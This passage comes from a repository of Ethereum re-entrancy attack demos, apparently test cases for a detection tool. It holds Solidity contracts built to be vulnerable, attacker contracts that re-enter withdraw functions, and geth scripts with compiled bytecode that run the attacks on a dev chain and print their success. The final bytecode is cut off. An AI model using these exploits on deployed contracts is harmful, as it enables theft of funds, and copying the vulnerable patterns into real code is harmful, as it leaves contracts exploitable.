t.withdrawAll(); 121 | } 122 | 123 | function () external payable { 124 | if (!abort) { 125 | // stop the second re-entrancy, which is caused by the transfer 126 | abort = true; 127 | t.exchangeAndWithdrawToken(t.getTokenCount()); 128 | } 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /cross-function_setup.js: -------------------------------------------------------------------------------- 1 | // Script for deploying and running a cross-function re-entrancy attack against 2 | // a crafted vulnerable contract (see cross-function.sol) 3 | // 4 | // usage: first start geth in developer mode (no mining difficulty and 5 | // prefundend accounts) and start the JavaScript console interface of geth: 6 | // 7 | // $ geth --dev --dev.period=1 console 8 | // 9 | // Then load this script to setup everything: 10 | // 11 | // > loadScript("cross-function_setup.js") 12 | // 13 | // Sometimes it takes a while for all contracts to be mined and commited to the 14 | // dev blockchain. Manually creating more transactions helps. Simply type: 15 | // 16 | // > transferSomething() 17 | // 18 | // If both the Token and Mallory contracts have been mined, the attack can be 19 | // started: 20 | // 21 | // > triggerAttack() 22 | // 23 | // 24 | // Example: 25 | // 26 | // > loadScript("./cross-function_setup.js") 27 | // 28 | // === Cross-Function Re-Entrancy Attack Example === 29 | // 30 | // creating/unlocking accounts 31 | // making Token 32 | // null [object Object] 33 | // 34 | // =============================================================================== 35 | // Wait for Token and Mallory contracts to be mined. 36 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Token contract are mined. 37 | // Use triggerAttack() to start the attack 38 | // =============================================================================== 39 | // 40 | // true 41 | // > null [object Object] 42 | // Token Contract mined! address: 0x89f60adfb0f4d43314343c9e0df7b01b16a517c6 transactionHash: 0x0c8c6975b66ebd9dabfa334600518b8f146b5b71589ae2e895c6e64c5695f342 43 | // making Mallory 44 | // null [object Object] 45 | // null [object Object] 46 | // Mallory Contract mined! address: 0xc7661ce09714d4a1418c186862fb2164ae6c69af transactionHash: 0xc3d9d5f84af947a8de38a58d4e296ea3752d00640d36d24bf4a546c740e93613 47 | // 48 | // > t = triggerAttack() 49 | // 50 | // token has 1000 wei 51 | // mallory has 1000 wei 52 | // mallory has 0 tokens 53 | // mallory has 0 wei in token 54 | // 55 | // performing attack setup 56 | // 57 | // token has 2000 wei 58 | // mallory has 0 wei 59 | // mallory has 499 tokens 60 | // mallory has 2 wei in token 61 | // 62 | // starting attack 63 | // 64 | // token has 2 wei 65 | // mallory has 1998 wei 66 | // mallory has 0 tokens 67 | // mallory has 0 wei in token 68 | // 69 | // mallory gained 998 wei 70 | // attack status: SUCCESS 71 | 72 | 73 | 74 | console.log("\n=== Cross-Function Re-Entrancy Attack Example ===\n") 75 | 76 | console.log("creating/unlocking accounts"); 77 | 78 | var defaultPassword = ""; 79 | 80 | personal.newAccount(defaultPassword) 81 | personal.newAccount(defaultPassword) 82 | function unlockAllAccounts() { 83 | personal.unlockAccount(eth.accounts[0], defaultPassword) 84 | personal.unlockAccount(eth.accounts[1], defaultPassword) 85 | personal.unlockAccount(eth.accounts[2], defaultPassword) 86 | } 87 | unlockAllAccounts() 88 | 89 | attacker = eth.accounts[2] 90 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 100000000000000000000000}) 91 | admin.sleepBlocks(1) 92 | 93 | function transferSomething() { 94 | // sometimes things are stuck for some reason 95 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 100}) 96 | admin.sleepBlocks(3) 97 | } 98 | 99 | 100 | var tokenContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeEther","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeAndWithdrawToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getTokenCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"depositEther","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"x","type":"address"}],"name":"getEtherCountFor","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"x","type":"address"}],"name":"getTokenCountFor","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]); 101 | var token_create_data = { 102 | from: web3.eth.accounts[0], 103 | data: '0x608060405234801561001057600080fd5b50600280819055506109e8806100276000396000f3fe608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631072cbea1461009e57806340477126146100f95780635572f9c6146101345780637555bfd71461016257806378a895671461019d578063853828b6146101c857806398ea5fca146101df578063b717dadf146101e9578063eccbf4cc1461024e575b600080fd5b3480156100aa57600080fd5b506100f7600480360360408110156100c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506102b3565b005b34801561010557600080fd5b506101326004803603602081101561011c57600080fd5b8101908080359060200190929190505050610397565b005b6101606004803603602081101561014a57600080fd5b8101908080359060200190929190505050610485565b005b34801561016e57600080fd5b5061019b6004803603602081101561018557600080fd5b81019080803590602001909291905050506105ca565b005b3480156101a957600080fd5b506101b26106f0565b6040518082815260200191505060405180910390f35b3480156101d457600080fd5b506101dd610736565b005b6101e76108d2565b005b3480156101f557600080fd5b506102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061092b565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b5061029d6004803603602081101561027157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610974565b6040518082815260200191505060405180910390f35b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561039357806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156104825760006002548202905080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505b50565b34600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156105c75760006002548281151561052957fe5b04905081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156106ed5760006002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054029050816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156106ea573d6000803e3d6000fd5b50505b50565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000821180156107cd5750600081115b156108ce5760006002548202830190506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610880576040519150601f19603f3d011682016040523d82523d6000602084013e610885565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5050565b60003411156109295734600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820a0b7f32e3553480996e5d90643f54a346d36170928b536a2896e29f44f1576630029', 104 | gas: '4700000' 105 | }; 106 | 107 | transferSomething() 108 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"setup","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_t","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 109 | var mallory_create_data = { 110 | from: attacker, 111 | data: '0x608060405234801561001057600080fd5b506040516020806105068339810180604052602081101561003057600080fd5b8101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060146101000a81548160ff0219169083151502179055505061045b806100ab6000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc146101f0578063ba0bba40146101fa578063d0e30db014610204575b600060149054906101000a900460ff1615156101ee576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637555bfd76000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166378a895676040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561014857600080fd5b505afa15801561015c573d6000803e3d6000fd5b505050506040513d602081101561017257600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101d557600080fd5b505af11580156101e9573d6000803e3d6000fd5b505050505b005b6101f861020e565b005b6102026102ad565b005b61020c61042d565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561029357600080fd5b505af11580156102a7573d6000803e3d6000fd5b50505050565b600060023073ffffffffffffffffffffffffffffffffffffffff16310390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635572f9c682836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b15801561035c57600080fd5b505af1158015610370573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166398ea5fca3073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561041157600080fd5b505af1158015610425573d6000803e3d6000fd5b505050505050565b56fea165627a7a7230582083952b32e1f64eb268af46400f7a8b68331d57efb0c030d8f500a02b23148ecf0029', 112 | gas: '4700000' 113 | }; 114 | 115 | 116 | var mallory; 117 | 118 | console.log("making Token"); 119 | var token = tokenContract.new( 120 | token_create_data, 121 | function (e, contract){ 122 | console.log(e, contract); 123 | if (typeof contract.address !== 'undefined') { 124 | console.log('Token Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 125 | console.log("making Mallory") 126 | mallory = malloryContract.new( 127 | contract.address, 128 | mallory_create_data, function (e, contract){ 129 | console.log(e, contract); 130 | if (typeof contract.address !== 'undefined') { 131 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 132 | } 133 | }) 134 | } 135 | }) 136 | 137 | 138 | transferSomething() 139 | console.log("\n===============================================================================") 140 | console.log("Wait for Token and Mallory contracts to be mined.") 141 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Token contract are mined.") 142 | transferSomething() 143 | console.log("Use triggerAttack() to start the attack") 144 | console.log("===============================================================================\n") 145 | 146 | 147 | function setupInitialState() { 148 | transferSomething(); 149 | 150 | // give token some ether 151 | token.depositEther({from: eth.accounts[0], value: 1000}) 152 | 153 | transferSomething(); 154 | 155 | // for fun we'll exchange them to tokens 156 | token.exchangeTokens("0x42", {from: eth.accounts[0], value: 0}) 157 | 158 | transferSomething(); 159 | 160 | // give mallory some ether 161 | mallory.deposit({from: eth.accounts[0], value: 1000}); 162 | 163 | transferSomething(); 164 | } 165 | 166 | function printStatus() { 167 | console.log("") 168 | console.log("token has " + eth.getBalance(token.address) + " wei"); 169 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei"); 170 | console.log("mallory has " + token.getTokenCountFor(mallory.address) + " tokens"); 171 | console.log("mallory has " + token.getEtherCountFor(mallory.address) + " wei in token"); 172 | console.log("") 173 | } 174 | 175 | function triggerAttack() { 176 | transferSomething(); 177 | setupInitialState(); 178 | transferSomething(); 179 | 180 | var preBalance = eth.getBalance(mallory.address); 181 | 182 | printStatus() 183 | 184 | console.log("performing attack setup") 185 | mallory.setup({from: attacker, gas: 300000, value: 0}); 186 | transferSomething() 187 | 188 | printStatus() 189 | 190 | console.log("starting attack") 191 | var t = mallory.attack({from: attacker, gas: '4700000', value: 0}); 192 | transferSomething() 193 | 194 | printStatus() 195 | var gains = (eth.getBalance(mallory.address) - preBalance); 196 | console.log("mallory gained " + gains + " wei"); 197 | if (gains > 0) { 198 | console.log("attack status: SUCCESS"); 199 | } else { 200 | console.log("attack status: FAIL"); 201 | } 202 | 203 | // sereum only: 204 | //var r = debug.checkTransaction(t) 205 | //console.log("error: " + r.error) 206 | 207 | return t; 208 | } 209 | 210 | 211 | function getAttackTrace() { 212 | a = triggerAttack(); 213 | return debug.traceTransaction(a); 214 | } 215 | -------------------------------------------------------------------------------- /delegated.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | /*pragma solidity ^0.4.21;*/ 3 | 4 | // The Bank contract uses a dynamic library contract SafeSending, which 5 | // handles parts of the business logic. In this case the SafeSending library is 6 | // a minimalistic library that simply performs an external call. 7 | // 8 | // This obfuscates the unsafe use of CALL behind a DELEGATECALL instruction. In 9 | // a more realistic scenario the library would implement something more 10 | // sophisticated. 11 | 12 | library SafeSending { 13 | function send(address to, uint256 amount) public { 14 | // external call, control goes back to attacker 15 | to.call.value(amount)(""); 16 | } 17 | } 18 | 19 | contract Bank { 20 | mapping (address => uint) public balances; 21 | address owner; 22 | SafeSending safesender; 23 | 24 | constructor(SafeSending _safesender) public { 25 | // for solidity 0.4.21 26 | /*function Bank(SafeSending _safesender) public {*/ 27 | owner = msg.sender; 28 | safesender = _safesender; 29 | } 30 | 31 | function updateSafeSender(SafeSending _new) public { 32 | if (msg.sender == owner) { 33 | safesender = _new; 34 | } 35 | } 36 | 37 | function getBalance(address who) public view returns(uint) { 38 | return balances[who]; 39 | } 40 | 41 | function donate(address to) payable public { 42 | balances[to] += msg.value; 43 | } 44 | 45 | function withdraw(uint amount) public { 46 | if (balances[msg.sender] >= amount) { 47 | // instead of using send, transfer or call here, transfer is passed 48 | // to the library contract, which handles sending Ether. 49 | _libsend(msg.sender, amount); 50 | // state update after the DELEGATECALL 51 | balances[msg.sender] -= amount; 52 | } 53 | } 54 | 55 | /*struct s { bytes4 sig; address to; uint256 amount; }*/ 56 | function _libsend(address to, uint256 amount) internal { 57 | // call send function of the Library contract with DELEGATECALL 58 | address(safesender).delegatecall(abi.encodeWithSignature("send(address,uint256)", to, amount)); 59 | // for solidity 0.4.21 60 | /*s memory p; */ 61 | /*p.sig = bytes4(0xd0679d34); */ 62 | /*p.to = to; */ 63 | /*p.amount = amount; */ 64 | /*address(safesender).delegatecall((p));*/ 65 | } 66 | } 67 | 68 | contract Mallory { 69 | Bank public victim; 70 | uint256 abort; 71 | 72 | function donate() external payable {} 73 | 74 | function attack(Bank addr) public payable { 75 | victim = addr; 76 | abort = 0; 77 | victim.withdraw(victim.getBalance(address(this))); 78 | } 79 | 80 | function withdraw(Bank addr) public { 81 | addr.withdraw(addr.getBalance(address(this))); 82 | } 83 | 84 | function () external payable { 85 | if (abort == 0) { 86 | abort = 1; // abort after second re-entrancy to avoid out-of-gas 87 | // withdraw a second time, s.t. we withdraw 2x the balance we 88 | // invested into the victim Bank contract. 89 | victim.withdraw(victim.getBalance(address(this))); 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /delegated_setup.js: -------------------------------------------------------------------------------- 1 | // Script for deploying and running a delegated re-entrancy attack against a 2 | // crafted vulnerable contract (see delegated.sol) 3 | // 4 | // usage: 5 | // first start geth in developer mode (no mining difficulty and prefundend 6 | // accounts) and start the JavaScript console interface of geth: 7 | // 8 | // $ geth --dev --dev.period=1 console 9 | // 10 | // Then load this script to setup everything: 11 | // 12 | // > loadScript("delegated_setup.js") 13 | // 14 | // Sometimes it takes a while for all contracts to be mined and commited to the 15 | // dev blockchain. Manually creating more transactions helps. Simply type: 16 | // 17 | // > transferSomething() 18 | // 19 | // If both the Token and Mallory contracts have been mined, the attack can be 20 | // started: 21 | // 22 | // > triggerAttack() 23 | // 24 | // 25 | // Example: 26 | // 27 | // > loadScript("./delegated_setup.js") 28 | // 29 | // === Delegated Re-Entrancy Attack Example === 30 | // 31 | // prefunded balance: 1.15792089237316195423570985008687907853269984665640564039457584007913129639927e+77 32 | // transferring initial funds to attacker account 33 | // attacker account balance: 1000000000000 34 | // [+] creating contracts 35 | // new Safesending 36 | // null [object Object] 37 | // new Mallory 38 | // null [object Object] 39 | // 40 | // =============================================================================== 41 | // Wait for SafeSending, Bank and Mallory contracts to be mined. 42 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that the SafeSending, Mallory and Bank contract are mined. 43 | // 44 | // Use `triggerAttack()` to start the attack. 45 | // =============================================================================== 46 | // 47 | // true 48 | // > null [object Object] 49 | // SafeSending mined! address: 0x536aecf182f3f59fa39ad72a34f1ccae88cb6dcd transactionHash: 0x3771a89860a8774fdb7a35a0fd9a3572125eae221436ff0a6753789b8db384f6 50 | // new Bank 51 | // null [object Object] 52 | // null [object Object] 53 | // Mallory Contract mined! address: 0x9d413eb04de05280782da6701ccbbf020ecf7b82 transactionHash: 0xa8f95da16b2ebd38739f00de6f4c550247ec1dd3a375ee692971246b434468ff 54 | // null [object Object] 55 | // Bank mined! address: 0xbb8cebebbfedf7aa2a9fffda049b106cc8850506 transactionHash: 0x938c116b897149e3e89be7d2ca98b11613ad2dec5b9eb5f2d846599174861d5b 56 | // 57 | // > 58 | // > transferSomething() 59 | // undefined 60 | // > 61 | // > t = triggerAttack() 62 | // [+] setting up contracts for attack 63 | // 64 | // [+] Current status: 65 | // Mallory has 100000 wei 66 | // Bank has 200000 wei 67 | // Mallory has 100000 wei deposited in Bank 68 | // victim has 100000 wei deposited in Bank 69 | // 70 | // [+] Triggering attack by sending wei to Mallory, which calls fallback 71 | // [+] Executed attack... 72 | // 73 | // [+] Current status: 74 | // Mallory has 300000 wei 75 | // Bank has 0 wei 76 | // Mallory has 1.15792089237316195423570985008687907853269984665640564039457584007913129539936e+77 wei deposited in Bank 77 | // victim has 100000 wei deposited in Bank 78 | // Warning: bank doesn't have enough ether to give back victim's money 79 | // 80 | // Mallory gained 200000 wei 81 | // attack status: SUCCESS 82 | // 83 | 84 | 85 | console.log("\n=== Delegated Re-Entrancy Attack Example ===\n") 86 | 87 | 88 | var defaultPassword = ""; 89 | 90 | personal.newAccount(defaultPassword) 91 | personal.newAccount(defaultPassword) 92 | function unlockAllAccounts() { 93 | // this is the prefundend dev contract 94 | personal.unlockAccount(eth.accounts[0], defaultPassword) 95 | // we'll use this as "attacker" 96 | personal.unlockAccount(eth.accounts[1], defaultPassword) 97 | } 98 | unlockAllAccounts() 99 | 100 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0])) 101 | console.log("transferring initial funds to attacker account") 102 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 1000000000000}) 103 | admin.sleepBlocks(3) 104 | console.log("attacker account balance: " + eth.getBalance(eth.accounts[1])) 105 | 106 | function transferSomething() { // just transfer something to make geth commit the next block 107 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100}) 108 | admin.sleepBlocks(1) 109 | } 110 | 111 | transferSomething() 112 | 113 | var safesendingContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"send","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]); 114 | var safesender_create = { 115 | from: web3.eth.accounts[0], 116 | data: '0x61014e610030600b82828239805160001a6073146000811461002057610022565bfe5b5030600052607381538281f3fe7300000000000000000000000000000000000000003014608060405260043610610058576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063d0679d341461005d575b600080fd5b81801561006957600080fd5b506100b66004803603604081101561008057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506100b8565b005b8173ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610116576040519150601f19603f3d011682016040523d82523d6000602084013e61011b565b606091505b505050505056fea165627a7a72305820a4ed4bae1f7fe4d4f55ce268f61ad9542cae68b6263f4dc643a0749bd1b692930029', 117 | gas: '4700000' 118 | }; 119 | 120 | var bankContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_new","type":"address"}],"name":"updateSafeSender","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_safesender","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]); 121 | var bank_create = { 122 | from: web3.eth.accounts[0], 123 | data: '0x608060405234801561001057600080fd5b506040516020806106918339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506105be806100d36000396000f3fe60806040526004361061006c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062362a951461007157806327e235e3146100b55780632e1a7d4d1461011a578063db0fb10714610155578063f8b2cb4f146101a6575b600080fd5b6100b36004803603602081101561008757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061020b565b005b3480156100c157600080fd5b50610104600480360360208110156100d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061025a565b6040518082815260200191505060405180910390f35b34801561012657600080fd5b506101536004803603602081101561013d57600080fd5b8101908080359060200190929190505050610272565b005b34801561016157600080fd5b506101a46004803603602081101561017857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610313565b005b3480156101b257600080fd5b506101f5600480360360208110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ae565b6040518082815260200191505060405180910390f35b346000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60006020528060005260406000206000915090505481565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610310576102c333826103f6565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ab5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fd0679d34000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831015156105265780518252602082019150602081019050602083039250610501565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610586576040519150601f19603f3d011682016040523d82523d6000602084013e61058b565b606091505b505050505056fea165627a7a72305820c4968739ab57c1abbb9755d50433740926c2fa8e488f3bb47612cbb6d515fda60029', 124 | gas: '4700000' 125 | }; 126 | 127 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"victim","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 128 | var mallory_create = { 129 | from: web3.eth.accounts[1], 130 | data: '0x608060405234801561001057600080fd5b506106a0806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806351cff8d914610213578063930c200314610264578063d018db3e146102bb578063ed88c68e146102ff575b6000600154141561021157600180819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561016b57600080fd5b505afa15801561017f573d6000803e3d6000fd5b505050506040513d602081101561019557600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101f857600080fd5b505af115801561020c573d6000803e3d6000fd5b505050505b005b34801561021f57600080fd5b506102626004803603602081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610309565b005b34801561027057600080fd5b50610279610466565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fd600480360360208110156102d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061048b565b005b610307610672565b005b8073ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d8273ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103be57600080fd5b505afa1580156103d2573d6000803e3d6000fd5b505050506040513d60208110156103e857600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561044b57600080fd5b505af115801561045f573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c010000000000000000000000000000000000000000